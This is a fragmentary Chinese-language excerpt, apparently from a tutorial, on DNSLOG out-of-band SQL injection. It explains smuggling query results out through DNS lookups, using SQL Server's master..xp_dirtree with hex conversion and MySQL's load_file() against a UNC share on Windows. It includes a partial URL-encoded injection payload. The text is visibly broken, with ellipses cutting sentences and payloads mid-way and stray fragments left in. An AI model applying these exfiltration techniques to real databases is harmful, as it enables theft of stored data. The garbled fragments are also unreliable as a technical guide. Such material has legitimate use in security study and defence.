: DNS的日志, 存储在DNS 服务器上的域名信息, 记录着用户对域名的访问信息,类似日志文件
DNSLOG利用原理
DNSLOG 是解析日志, DNS分为三级域名, 域名不区分大小写, 所以利用解析的日志把攻击者需要的值带出...,(******))) #转环
解释: sql server 中不能直接转十六进制, 需要转到二进制,在转到十六进制
利用xp_dirtree
函数构造
明确master..xp_dirtree如何拼接函数...data='%2b@okma%2b''')"' ) --
在语法中 @okma 的payload 是可变的
mysql_dnslog外带
原理
因为windows特性可以认为的主动发送请求,所以造成了mysql...在windows下注入外带
通过查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中...,访问时将访问服务器,记录后查看日志。